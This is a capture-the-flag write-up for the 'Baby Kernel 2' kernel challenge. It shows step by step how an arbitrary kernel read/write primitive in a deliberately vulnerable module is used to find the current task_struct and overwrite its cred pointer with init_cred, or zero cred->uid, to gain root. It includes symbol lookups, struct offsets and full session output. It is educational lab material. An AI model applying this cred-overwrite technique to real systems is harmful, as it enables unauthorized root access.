Baby Kernel 2 - pwn , 202 pts, solves: 68


This post is a follow up to a quick writeup that I’ve posted on my github.

We are provided with a minimal kernel environment containing custom kernel module and client that communicates with it.

Having read/write primitive in kernel space we can escalate our privileges by changing cred field of the task_struct of our current task. Provided System.map file contains all symbols from the target kernel:

Obtaining current_task address:

➤ grep 'D current_task' System.map  
ffffffff8183a040 D current_task

Alternatively, we can read symbols directly from the kernel image:
(I have used this tool to decompress the kernel image.)

➤ readelf -Ws vmlinux | grep current_task
 2165: ffffffff816d4df0     0 NOTYPE  LOCAL  DEFAULT    6 __ksymtab_current_task
 2166: ffffffff816db115    13 OBJECT  LOCAL  DEFAULT    8 __kstrtab_current_task
20328: ffffffff8183a040     8 OBJECT  GLOBAL DEFAULT   11 current_task

Let’s test if we can read from the current_task address:

----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> 1
1
I need an address to read from. Choose wisely
> 
0xffffffff8183a040
0xffffffff8183a040
Got everything I need. Let's do it!
flux_baby_2 ioctl nr 901 called
We're back. Our scouter says the power level is: ffff888003372300

We have obtained task_struct address from the current_task. Now we have to get the offset to the task_struct->cred (struct cred *cred):

linux/sched.h#L624

struct task_struct {

	(...)
	
	/* Objective and real subjective task credentials (COW): */
	const struct cred __rcu		*real_cred;

	/* Effective (overridable) subjective task credentials (COW): */
	const struct cred __rcu		*cred;
gef  ptype /o struct task_struct
/* offset    |  size */  type = struct task_struct {
/*    0      |    16 */    struct thread_info {
/*    0      |     8 */        unsigned long flags;

...

/* 1016      |     8 */    const struct cred *real_cred;
/* 1024      |     8 */    const struct cred *cred;

To escalate privileges to root we have to overwrite task_struct->cred at offset 0x400 (1024) with the the pointer to the init_cred struct, which contains credentials of the init process that is running as root:

➤ readelf -Ws vmlinux | grep init_cred      
 21812: ffffffff8183f4c0   120 OBJECT  GLOBAL DEFAULT   11 init_cred

kernel/cred.c#L41

/*
 * The initial credentials for the initial task
 */
struct cred init_cred = {
	.usage			= ATOMIC_INIT(4),
#ifdef CONFIG_DEBUG_CREDENTIALS
	.subscribers		= ATOMIC_INIT(2),
	.magic			= CRED_MAGIC,
#endif
	.uid			= GLOBAL_ROOT_UID,
	.gid			= GLOBAL_ROOT_GID,
	.suid			= GLOBAL_ROOT_UID,
	.sgid			= GLOBAL_ROOT_GID,
	.euid			= GLOBAL_ROOT_UID,
	.egid			= GLOBAL_ROOT_GID,
	.fsuid			= GLOBAL_ROOT_UID,
	.fsgid			= GLOBAL_ROOT_GID,

The final plan:

What is left to do is to spawn a shell with the new credentials - or like in our case, just use Read file function that is now running with root pivileges:

----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> 1
1
I need an address to read from. Choose wisely
> 
0xffffffff8183a040 <- current_task
0xffffffff8183a040
Got everything I need. Let's do it!
flux_baby_2 ioctl nr 901 called
We're back. Our scouter says the power level is: ffff888003373480 <- task_struct

task_struct @ 0xffff888003373480
task_struct->cred @ 0xffff888003373480+0x400

----- Menu -----
1. Readrandom: fast init done

2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> 2
2
I need an offset to write to. Choose wisely - seriously now...
> 
0xffff888003373880     <-- task_struct->cred
0xffff888003373880
What about a value?
> 
0xffffffff8183f4c0     <-- init_cred
0xffffffff8183f4c0
Thanks, boss. I can't believe we're doing this!
flux_baby_2 ioctl nr 902 called
Amazingly, we're back again.

task_struct->cred = init_cred

----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> 3
3
uid=0(root) gid=0(root)

----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> 4 
4 
Which file are we trying to read?
> /flag
/flag
Here are your 0x35 bytes contents: 
flag{nicely_done_this_is_how_a_privesc_can_also_go}}

Alternative approach

Instead of pointing the task_struct->cred to the init_cred, we could manually modify certain fields of the struct cred *cred. We know that we can obtain struct cred address from the task_struct->cred.

Let’s redo everything step by step.

Reading task_struct address from current_task:

I need an address to read from. Choose wisely
> 
0xffffffff8183a040 <- current_task
Got everything I need. Let's do it!
flux_baby_2 ioctl nr 901 called
We're back. Our scouter says the power level is: ffff888003371180 <- task_struct

Our task_struct address is 0xffff888003371180. Now we can obtain the address of the struct cred *cred that is referenced in the task_struct at offset 0x400. Let’s read 0xffff888003371180+0x400

I need an address to read from. Choose wisely
> 
0xffff888003371580 <- task_struct + 0x400
Got everything I need. Let's do it!
flux_baby_2 ioctl nr 901 called
We're back. Our scouter says the power level is: ffff888003393400 <- stuct cred

We know that struct cred *cred is at 0xffff888003393400.

linux/cred.h#L111

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
gef  ptype /o struct cred
/* offset    |  size */  type = struct cred {
/*    0      |     4 */    atomic_t usage;
/*    4      |     4 */    kuid_t uid;
/*    8      |     4 */    kgid_t gid;
/*   12      |     4 */    kuid_t suid;
/*   16      |     4 */    kgid_t sgid;
/*   20      |     4 */    kuid_t euid;
/*   24      |     4 */    kgid_t egid;
/*   28      |     4 */    kuid_t fsuid;
/*   32      |     4 */    kgid_t fsgid;
/*   36      |     4 */    unsigned int securebits;
/*   40      |     8 */    kernel_cap_t cap_inheritable;
/*   48      |     8 */    kernel_cap_t cap_permitted;
/*   56      |     8 */    kernel_cap_t cap_effective;
/*   64      |     8 */    kernel_cap_t cap_bset;
/*   72      |     8 */    kernel_cap_t cap_ambient;

Now we can set, for example cred->uid field at offset 4, to 0 (root):

I need an offset to write to. Choose wisely - seriously now...
> 
0xffff888003389704 <- struct cred + 4
What about a value?
> 
0
Thanks, boss. I can't believe we're doing this!
flux_baby_2 ioctl nr 902 called
Amazingly, we're back again.
----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> 3
uid=0(root) gid=0(root) euid=1000(user) egid=1000(user) groups=1000(user)

That’s it! Thanks